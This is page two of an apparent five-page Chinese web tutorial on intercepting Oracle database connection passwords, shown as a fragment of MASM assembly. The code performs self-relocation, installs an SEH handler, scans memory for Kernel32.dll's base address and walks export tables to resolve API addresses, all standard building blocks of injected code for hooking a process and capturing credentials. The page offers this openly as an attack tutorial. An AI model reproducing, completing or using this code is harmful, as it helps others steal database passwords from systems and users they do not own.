频道直达 - 专题 - 新闻 - 技巧 - 组网 - 开发 - 安全 - web编程 - 图像 - 操作系统 - 数据库 - 教育 - 旅游 - 健康 - 时尚 - 驱动 - 软件 - 游戏 - 多媒体 - ERP - 讨论组

教你如何截获Oracle数据库连接密码

来源: 作者: 出处:巧巧读书 2007-07-20 进入讨论组
上一页 1 2 3 4 5 下一页 

;******************************************************************** 
; 创建用于错误处理的 SEH 结构 
;******************************************************************** 
assume fs:nothing 
push ebp 
lea eax,[ebx + offset _PageError] 
push eax 
lea eax,[ebx + offset _SEHHandler] 
push eax 
push fs:[0] 
mov fs:[0],esp 
;******************************************************************** 
; 查找 Kernel32.dll 的基地址 
;******************************************************************** 
mov edi,_dwKernelRet 
and edi,0ffff0000h 
.while TRUE 
.if word ptr [edi] == IMAGE_DOS_SIGNATURE 
mov esi,edi 
add esi,[esi+003ch] 
.if word ptr [esi] == IMAGE_NT_SIGNATURE 
assume esi:ptr IMAGE_NT_HEADERS 
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 
add esi,edi 
assume esi:ptr IMAGE_EXPORT_DIRECTORY 
mov esi,[esi].nName 
add esi,edi 
mov ecx,sizeof szKernel32 
push edi 
lea edi,[ebx+szKernel32] 
cld 
repz cmpsb 
pop edi 
.if ZERO? 
mov @dwReturn,edi 
.break 
.endif 
assume esi:nothing 
.endif 
.endif 
_PageError: 
sub edi,010000h 
.break .if edi < 70000000h 
.endw 
pop fs:[0] 
add esp,0ch 
popad 
mov eax,@dwReturn 
ret 
_GetKernelBase endp 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
; 从内存中模块的导出表中获取某个 API 的入口地址 
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 
_GetApi proc _hModule,_lpszApi 
local @dwReturn,@dwStringLength 
pushad 
mov @dwReturn,0 
;******************************************************************** 
; 重定位 
;******************************************************************** 
call @F 
@@: 
pop ebx 
sub ebx,offset @B 
;******************************************************************** 
; 创建用于错误处理的 SEH 结构 
;******************************************************************** 
assume fs:nothing 
push ebp 
lea eax,[ebx + offset _Error] 
push eax 
lea eax,[ebx + offset _SEHHandler] 
push eax 
push fs:[0] 
mov fs:[0],esp 
;******************************************************************** 
; 计算 API 字符串的长度(带尾部的0) 
;******************************************************************** 
mov edi,_lpszApi 
mov ecx,-1 
xor al,al 
cld 
repnz scasb 
mov ecx,edi 
sub ecx,_lpszApi 
mov @dwStringLength,ecx 
;******************************************************************** 
; 从 PE 文件头的数据目录获取导出表地址 
;******************************************************************** 
mov esi,_hModule 
add esi,[esi + 3ch] 
assume esi:ptr IMAGE_NT_HEADERS 
mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress 
add esi,_hModule 
assume esi:ptr IMAGE_EXPORT_DIRECTORY 
;******************************************************************** 
; 查找符合名称的导出函数名 
;******************************************************************** 
mov ebx,[esi].AddressOfNames 
add ebx,_hModule 
xor edx,edx 
.repeat 
push esi 
mov edi,[ebx] 
add edi,_hModule 
mov esi,_lpszApi 
mov ecx,@dwStringLength 
repz cmpsb 
.if ZERO? 
pop esi 
jmp @F 
.endif 
pop esi 
add ebx,4 
inc edx 
.until edx >= [esi].NumberOfNames 
jmp _Error 
@@: 

   巧巧读书:http://www.qqread.com/oracle/2006/11/h257986.html

更多文章 更多内容请看电脑密码设置手册Cisco密码恢复专题数据库专栏专题,或进入讨论组讨论。
上一页 1 2 3 4 5 下一页 
收藏此文】【 】【打印】【关闭
相关图文阅读
频道图文推荐
健 康 咨 询
时 尚 咨 询
巧巧读书宗旨
相关专题
讨论组问题推荐
站内各频道最新更新文档
站内最新制作专题
热门关键字导读
Photoshop教 程照片处理 照片制作 PS快捷键 抠图
计 算 机 故 障XP系统修复
艺 术 与 设 计设计 流媒体 设计欣赏 边框
计 算 机 安 全ARP
站内频道文章精选
巧巧电脑频道编辑信箱  告诉我们您想看的专题或文章